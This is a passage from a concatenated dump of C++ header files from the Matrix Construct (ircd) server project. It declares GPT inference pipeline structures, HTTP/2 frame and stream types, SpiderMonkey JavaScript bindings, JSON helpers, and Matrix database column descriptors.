| const gpt::opts &opts; 22 | gpt::ctrl &ctrl; 23 | 24 | const uint id; 25 | const size_t start, stop; 26 | f32 *moment[2]; 27 | 28 | pipe::prof profile; 29 | 30 | void profile_accumulate(const pipe::prof &); 31 | 32 | public: 33 | bool done() const noexcept; 34 | bool operator()(); 35 | 36 | epoch(gpt::task &); 37 | ~epoch() noexcept; 38 | }; 39 | -------------------------------------------------------------------------------- /include/ircd/gpt/pipe/code.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_GPT_PIPE_CODE_H 13 | 14 | /// Pipe code segment. 15 | struct ircd::gpt::pipe::code 16 | :cl::code 17 | { 18 | static conf::item default_path; 19 | static conf::item default_compile_opts; 20 | static conf::item default_link_opts; 21 | static conf::item cache_path; 22 | 23 | static string_view make_cache_path(const mutable_buffer &); 24 | 25 | static cl::code from_cache(); 26 | static cl::code from_source(const string_view &comp_opts = {}, const string_view &link_opts = {}); 27 | static cl::code from_bitcode(const string_view &link_opts = {}); 28 | 29 | void set_cache(const string_view &path); 30 | bool put_cache(); 31 | 32 | code(); 33 | ~code() noexcept; 34 | }; 35 | -------------------------------------------------------------------------------- /include/ircd/gpt/pipe/cycle.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_GPT_PIPE_CYCLE_H 13 | 14 | namespace ircd::gpt::pipe 15 | { 16 | const gpt::ctrl &acquire(cycle &); 17 | } 18 | 19 | /// Perform one task cycle on the device. The cycle is an atomic unit of 20 | /// generation producing one token. 21 | /// 22 | /// Constructions of this object enqueue device commands to complete an 23 | /// additional cycle of the task as provided by `ctrl` and `opts`. 24 | /// 25 | /// Destructions of this object yield the ircd::ctx until those commands 26 | /// are complete. 27 | /// 28 | struct ircd::gpt::pipe::cycle 29 | { 30 | struct profile; 31 | 32 | static constexpr size_t stages 33 | { 34 | 4 + 3 + (12 * 2) + 4 + 2 + (12 * 2) + 1 + 1 35 | }; 36 | 37 | pipe::desc &desc; 38 | uint tick; 39 | uint count; 40 | uint tokens; 41 | uint cached; 42 | uint frame; 43 | pipe::range range; 44 | std::array stage; 45 | 46 | cycle(gpt::samp &); 47 | ~cycle() noexcept; 48 | }; 49 | -------------------------------------------------------------------------------- /include/ircd/gpt/pipe/pipe.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_GPT_PIPE_H 13 | 14 | namespace ircd::gpt::pipe 15 | { 16 | struct code; 17 | struct model; 18 | struct desc; 19 | struct range; 20 | struct cycle; 21 | struct prof; 22 | 23 | extern std::shared_ptr default_code; 24 | }; 25 | 26 | #include "code.h" 27 | #include "model.h" 28 | #include "desc.h" 29 | #include "range.h" 30 | #include "cycle.h" 31 | #include "prof.h" 32 | -------------------------------------------------------------------------------- /include/ircd/gpt/pipe/range.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_GPT_PIPE_RANGE_H 13 | 14 | struct ircd::gpt::pipe::range 15 | { 16 | cl::kern::range 17 | _full, 18 | _last, 19 | alloc, 20 | embed, 21 | attn, 22 | ffnn, 23 | fffnn, 24 | fnorm, 25 | logit, 26 | logsm, 27 | select, 28 | prop_embed, 29 | prop_norm, 30 | prop_attn, 31 | prop_ffnn; 32 | 33 | range(const opts &opts, 34 | const uint tick, 35 | const uint count, 36 | const uint tokens, 37 | const uint cached, 38 | const bool fwd, 39 | const bool rev) noexcept; 40 | }; 41 | -------------------------------------------------------------------------------- /include/ircd/gpt/samp.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_GPT_SAMP_H 13 | 14 | /// Perform one task step on the device. The step is a sequence of cycles 15 | /// which generate tokens until satisfying a halting condition. The number of 16 | /// cycles for the step is limited by the size of the context buffer. 17 | /// 18 | struct ircd::gpt::samp 19 | { 20 | gpt::step &step; 21 | pipe::desc &desc; 22 | 23 | const gpt::opts &opts; 24 | gpt::ctrl &ctrl; 25 | 26 | const uint id; 27 | 28 | int accept; 29 | uint dispatch; 30 | uint cycle; 31 | uint tokens; 32 | uint count; 33 | 34 | pipe::prof profile; 35 | std::deque queue; 36 | 37 | public: 38 | void profile_accumulate(const pipe::prof &); 39 | bool retire(pipe::cycle &, const gpt::ctrl &); 40 | bool evaluate(pipe::cycle &); 41 | bool dispatche(); 42 | uint tokenize(); 43 | 44 | public: 45 | bool done() const noexcept; 46 | bool operator()(); 47 | 48 | samp(gpt::step &); 49 | ~samp() noexcept; 50 | }; 51 | -------------------------------------------------------------------------------- /include/ircd/gpt/step.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_GPT_STEP_H 13 | 14 | /// Perform one task step on the device. The step is a sequence of cycles 15 | /// which generate tokens until satisfying a halting condition. The number of 16 | /// cycles for the step is limited by the size of the context buffer. 17 | /// 18 | struct ircd::gpt::step 19 | { 20 | gpt::epoch &epoch; 21 | pipe::desc &desc; 22 | 23 | const gpt::opts &opts; 24 | gpt::ctrl &ctrl; 25 | 26 | const uint id; 27 | const uint start; 28 | 29 | pipe::prof profile; 30 | 31 | void profile_accumulate(const pipe::prof &); 32 | 33 | public: 34 | bool done() const noexcept; 35 | bool operator()(); 36 | 37 | step(gpt::epoch &); 38 | ~step() noexcept; 39 | }; 40 | -------------------------------------------------------------------------------- /include/ircd/http2/frame.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_HTTP2_FRAME_H 13 | 14 | namespace ircd::http2 15 | { 16 | struct frame; 17 | } 18 | 19 | struct ircd::http2::frame 20 | { 21 | struct header; 22 | struct settings; 23 | enum type :uint8_t; 24 | 25 | static string_view reflect(const type &); 26 | }; 27 | 28 | struct ircd::http2::frame::header 29 | { 30 | uint32_t len : 24; 31 | enum type type; 32 | uint8_t flags; 33 | uint32_t : 1; 34 | uint32_t stream_id : 31; 35 | } 36 | __attribute__((packed)); 37 | 38 | enum ircd::http2::frame::type 39 | :uint8_t 40 | { 41 | DATA = 0x0, 42 | HEADERS = 0x1, 43 | PRIORITY = 0x2, 44 | RST_STREAM = 0x3, 45 | SETTINGS = 0x4, 46 | PUSH_PROMISE = 0x5, 47 | PING = 0x6, 48 | GOAWAY = 0x7, 49 | WINDOW_UPDATE = 0x8, 50 | CONTINUATION = 0x9, 51 | }; 52 | -------------------------------------------------------------------------------- /include/ircd/http2/http2.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_HTTP2_H 13 | 14 | /// HyperText TransPort / 2.x 15 | namespace ircd::http2 16 | { 17 | extern const string_view connection_preface; 18 | } 19 | 20 | #include "error.h" 21 | #include "frame.h" 22 | #include "settings.h" 23 | #include "stream.h" 24 | -------------------------------------------------------------------------------- /include/ircd/http2/stream.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_HTTP2_STREAM_H 13 | 14 | namespace ircd::http2 15 | { 16 | struct stream; 17 | } 18 | 19 | struct ircd::http2::stream 20 | { 21 | enum class state :uint8_t; 22 | 23 | enum state state; 24 | 25 | stream(); 26 | }; 27 | 28 | namespace ircd::http2 29 | { 30 | string_view reflect(const enum stream::state &); 31 | } 32 | 33 | enum class ircd::http2::stream::state 34 | :uint8_t 35 | { 36 | IDLE, 37 | RESERVED_LOCAL, 38 | RESERVED_REMOTE, 39 | OPEN, 40 | HALF_CLOSED_LOCAL, 41 | HALF_CLOSED_REMOTE, 42 | CLOSED, 43 | }; 44 | -------------------------------------------------------------------------------- /include/ircd/ios/empt.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_IOS_EMPT_H 13 | 14 | /// Emption interface. 15 | /// 16 | /// On supporting systems and with the cooperation of libircd's embedder these 17 | /// items can aid with optimizing and/or profiling the boost::asio core event 18 | /// loop. See epoll.h for an epoll_wait(2) use of these items. This is a 19 | /// separate header/namespace so this can remain abstract and applied to 20 | /// different platforms. 21 | /// 22 | namespace ircd::ios::empt 23 | { 24 | extern conf::item freq; 25 | 26 | extern stats::item peek; 27 | extern stats::item skip; 28 | extern stats::item call; 29 | extern stats::item none; 30 | extern stats::item result; 31 | extern stats::item load_low; 32 | extern stats::item load_med; 33 | extern stats::item load_high; 34 | extern stats::item load_stall; 35 | } 36 | -------------------------------------------------------------------------------- /include/ircd/js/call.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_CALL_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | value 18 | call(const function::handle &func, 19 | const object::handle &that, 20 | const vector::handle &args = {}); 21 | 22 | value 23 | call(const value::handle &val, 24 | const object::handle &that, 25 | const vector::handle &args = {}); 26 | 27 | value 28 | call(const char *const &name, 29 | const object::handle &that, 30 | const vector::handle &args = {}); 31 | 32 | value 33 | call(const std::string &name, 34 | const object::handle &that, 35 | const vector::handle &args = {}); 36 | 37 | inline value 38 | call(const function::handle &func, 39 | const value::handle &that, 40 | const vector::handle &args = {}) 41 | { 42 | const object _that(that); 43 | return call(func, _that, args); 44 | } 45 | 46 | } // namespace js 47 | } // namespace ircd 48 | -------------------------------------------------------------------------------- /include/ircd/js/ctor.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_CTOR_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | inline object 18 | ctor(const object::handle &proto, 19 | const vector::handle &args = {}) 20 | { 21 | return JS_New(*cx, proto, args); 22 | } 23 | 24 | inline object 25 | ctor(trap &trap, 26 | const vector::handle &args = {}) 27 | { 28 | return trap.construct(args); 29 | } 30 | 31 | } // namespace js 32 | } // namespace ircd 33 | -------------------------------------------------------------------------------- /include/ircd/js/del.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_DEL_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | // Delete the private data (see: priv.h). 18 | void del(JSObject *const &obj, priv_t); 19 | 20 | void del(const object::handle &obj, const id::handle &id); 21 | void del(const object::handle &obj, const id &id); 22 | void del(const object::handle &obj, const uint32_t &idx); 23 | void del(const object::handle &src, const char *const path); 24 | 25 | } // namespace js 26 | } // namespace ircd 27 | -------------------------------------------------------------------------------- /include/ircd/js/function_literal.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_FUNCTION_LITERAL_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | class function::literal 18 | :public root 19 | { 20 | const char *name; 21 | const char *text; 22 | std::vector prototype; 23 | 24 | public: 25 | literal(const char *const &name, 26 | const std::initializer_list &prototype, 27 | const char *const &text); 28 | 29 | literal(literal &&) noexcept; 30 | literal(const literal &) = delete; 31 | }; 32 | 33 | // Compile a C++ string literal as an actual JavaScript function. 34 | function::literal operator ""_function(const char *const text, const size_t len); 35 | 36 | } // namespace js 37 | } // namespace ircd 38 | -------------------------------------------------------------------------------- /include/ircd/js/global.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_GLOBAL_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | class global 18 | :public object 19 | { 20 | static void handle_trace(JSTracer *, JSObject *) noexcept; 21 | 22 | std::map imports; 23 | object import(module &importer, const string &requesting, const object &that); 24 | std::unique_ptr module_resolve_hook; 25 | 26 | public: 27 | global(trap &, 28 | JSPrincipals *const & = nullptr, 29 | JS::CompartmentCreationOptions = {}, 30 | JS::CompartmentBehaviors = {}); 31 | 32 | global(global &&) = default; 33 | global(const global &) = delete; 34 | ~global() noexcept; 35 | }; 36 | 37 | } // namespace js 38 | } // namespace ircd 39 | -------------------------------------------------------------------------------- /include/ircd/js/has.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_HAS_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | // Test the reserve slots of the object 18 | bool has(const JSObject *const &obj, const reserved &id); 19 | 20 | // Test the private slot of an object 21 | bool has(const JSObject *const &obj, priv_t); 22 | 23 | bool has(const object::handle &obj, const id::handle &id); 24 | bool has(const object::handle &obj, const id &id); 25 | bool has(const object::handle &obj, const uint32_t &idx); 26 | bool has(const object::handle &src, const char *const path); 27 | 28 | } // namespace js 29 | } // namespace ircd 30 | -------------------------------------------------------------------------------- /include/ircd/js/tracing.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_TRACING_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | struct tracing 18 | { 19 | struct thing 20 | { 21 | void *ptr; 22 | jstype type; 23 | 24 | template operator const JS::Heap &() const; 25 | template operator JS::Heap &(); 26 | }; 27 | 28 | using list = std::list; 29 | 30 | list heap; 31 | 32 | void operator()(JSTracer *const &); 33 | 34 | tracing(); 35 | ~tracing() noexcept; 36 | }; 37 | 38 | template 39 | tracing::thing::operator JS::Heap &() 40 | { 41 | return *reinterpret_cast *>(ptr); 42 | } 43 | 44 | template 45 | tracing::thing::operator const JS::Heap &() 46 | const 47 | { 48 | return *reinterpret_cast *>(ptr); 49 | } 50 | 51 | } // namespace js 52 | } // namespace ircd 53 | -------------------------------------------------------------------------------- /include/ircd/js/trap_property.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_TRAP_PROPERTY 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | struct trap::property 18 | { 19 | friend struct trap; 20 | using function = js::function; 21 | 22 | struct trap *trap; 23 | std::string name; 24 | JSPropertySpec spec; 25 | 26 | virtual value on_set(function::handle, object::handle, value::handle); 27 | virtual value on_get(function::handle, object::handle); 28 | 29 | private: 30 | static bool handle_set(JSContext *c, unsigned argc, JS::Value *argv) noexcept; 31 | static bool handle_get(JSContext *c, unsigned argc, JS::Value *argv) noexcept; 32 | 33 | public: 34 | property(struct trap &, const std::string &name, const uint &flags = 0); 35 | property(property &&) = delete; 36 | property(const property &) = delete; 37 | virtual ~property() noexcept; 38 | }; 39 | 40 | } // namespace js 41 | } // namespace ircd 42 | -------------------------------------------------------------------------------- /include/ircd/js/version.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JS_VERSION_H 13 | 14 | namespace ircd { 15 | namespace js { 16 | 17 | const char *version(const JSVersion &v); 18 | JSVersion version(const char *const &v); 19 | 20 | } // namespace js 21 | } // namespace ircd 22 | 23 | inline JSVersion 24 | ircd::js::version(const char *const &v) 25 | { 26 | return JS_StringToVersion(v); 27 | } 28 | 29 | inline const char * 30 | ircd::js::version(const JSVersion &v) 31 | { 32 | return JS_VersionToString(v); 33 | } 34 | -------------------------------------------------------------------------------- /include/ircd/json/stack/chase.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2023 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JSON_STACK_CHASE_H 13 | 14 | /// This device chases the current active path by updating its member pointers. 15 | struct ircd::json::stack::chase 16 | { 17 | array *a {nullptr}; 18 | object *o {nullptr}; 19 | member *m {nullptr}; 20 | 21 | bool next() noexcept; 22 | bool prev() noexcept; 23 | 24 | chase(stack &s, const bool prechase = false) noexcept; 25 | chase() = default; 26 | }; 27 | 28 | /// This device chases the current active path by updating its member pointers. 29 | struct ircd::json::stack::const_chase 30 | { 31 | const array *a {nullptr}; 32 | const object *o {nullptr}; 33 | const member *m {nullptr}; 34 | 35 | bool next() noexcept; 36 | bool prev() noexcept; 37 | 38 | const_chase(const stack &s, const bool prechase = false) noexcept; 39 | const_chase() = default; 40 | }; 41 | -------------------------------------------------------------------------------- /include/ircd/json/tuple/rfor_each.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_JSON_TUPLE_RFOR_EACH_H 13 | 14 | namespace ircd { 15 | namespace json { 16 | 17 | template() - 1> 20 | inline enable_if_tuple 21 | rfor_each(const tuple &t, 22 | function&& f) 23 | { 24 | return util::rfor_each(t, [&f] 25 | (const auto &prop) 26 | { 27 | return f(prop.key, prop.value); 28 | }); 29 | } 30 | 31 | template() - 1> 34 | inline enable_if_tuple 35 | rfor_each(tuple &t, 36 | function&& f) 37 | { 38 | return util::rfor_each(t, [&f] 39 | (auto &prop) 40 | { 41 | return f(prop.key, prop.value); 42 | }); 43 | } 44 | 45 | } // namespace json 46 | } // namespace ircd 47 | -------------------------------------------------------------------------------- /include/ircd/m/breadcrumbs.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_BREADCRUMBS_H 13 | 14 | namespace ircd::m 15 | { 16 | struct breadcrumbs; 17 | } 18 | 19 | struct ircd::m::breadcrumbs 20 | { 21 | using closure = std::function; 22 | using closure_bool = std::function; 23 | using sort_closure = std::function; 24 | 25 | m::user::account_data account_data; 26 | 27 | public: 28 | bool get(std::nothrow_t, const closure &) const; 29 | void get(const closure &) const; 30 | 31 | bool for_each(const closure_bool &) const; 32 | 33 | event::id::buf set(const json::array &value) const; 34 | event::id::buf sort(const sort_closure &) const; 35 | event::id::buf add(const string_view &) const; 36 | event::id::buf del(const string_view &) const; 37 | 38 | breadcrumbs(const m::user &user) 39 | :account_data{user} 40 | {} 41 | }; 42 | -------------------------------------------------------------------------------- /include/ircd/m/burst.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_BURST_H 13 | 14 | namespace ircd::m::burst 15 | { 16 | struct opts; 17 | struct burst; 18 | 19 | extern log::log log; 20 | }; 21 | 22 | struct ircd::m::burst::burst 23 | { 24 | burst(const m::node &, const opts &); 25 | }; 26 | 27 | struct ircd::m::burst::opts 28 | { 29 | /// Enable gossip on netburst 30 | bool gossip {true}; 31 | 32 | /// Enable cache warming feature on netburst 33 | bool cache_warming {true}; 34 | }; 35 | -------------------------------------------------------------------------------- /include/ircd/m/dbs/event_idx.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_DBS_EVENT_IDX_H 13 | 14 | namespace ircd::m::dbs 15 | { 16 | void _index_event_id(db::txn &, const event &, const opts &); 17 | 18 | extern db::column event_idx; // event_id => event_idx 19 | } 20 | 21 | namespace ircd::m::dbs::desc 22 | { 23 | extern conf::item event_idx__comp; 24 | extern conf::item event_idx__block__size; 25 | extern conf::item event_idx__meta_block__size; 26 | extern conf::item event_idx__cache__size; 27 | extern conf::item event_idx__cache_comp__size; 28 | extern conf::item event_idx__bloom__bits; 29 | extern const db::descriptor event_idx; 30 | } 31 | -------------------------------------------------------------------------------- /include/ircd/m/dbs/event_json.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_DBS_EVENT_JSON_H 13 | 14 | namespace ircd::m::dbs 15 | { 16 | void _index_event_json(db::txn &, const event &, const opts &); 17 | 18 | // event_idx => full json 19 | extern db::column event_json; 20 | } 21 | 22 | namespace ircd::m::dbs::desc 23 | { 24 | extern conf::item event_json__comp; 25 | extern conf::item event_json__block__size; 26 | extern conf::item event_json__meta_block__size; 27 | extern conf::item event_json__cache__size; 28 | extern conf::item event_json__cache_comp__size; 29 | extern conf::item event_json__bloom__bits; 30 | extern conf::item event_json__file__size__max; 31 | extern conf::item event_json__compaction_trigger; 32 | extern const db::descriptor event_json; 33 | } 34 | -------------------------------------------------------------------------------- /include/ircd/m/dbs/init.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_DBS_INIT_H 13 | 14 | struct ircd::m::dbs::init 15 | { 16 | std::string our_dbpath; 17 | std::string their_dbpath; 18 | 19 | private: 20 | static bool (*update[])(void); 21 | void apply_updates(); 22 | void init_columns(); 23 | void init_database(); 24 | 25 | public: 26 | init(const string_view &servername, std::string dbopts = {}); 27 | ~init() noexcept; 28 | }; 29 | -------------------------------------------------------------------------------- /include/ircd/m/direct_to_device.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_DIRECT_TO_DEVICE_H 13 | 14 | namespace ircd::m 15 | { 16 | struct direct_to_device; 17 | } 18 | 19 | struct ircd::m::edu::m_direct_to_device 20 | :json::tuple 21 | < 22 | json::property, 23 | json::property, 24 | json::property, 25 | json::property 26 | > 27 | { 28 | using super_type::tuple; 29 | using super_type::operator=; 30 | }; 31 | 32 | struct ircd::m::direct_to_device 33 | :edu::m_direct_to_device 34 | { 35 | using 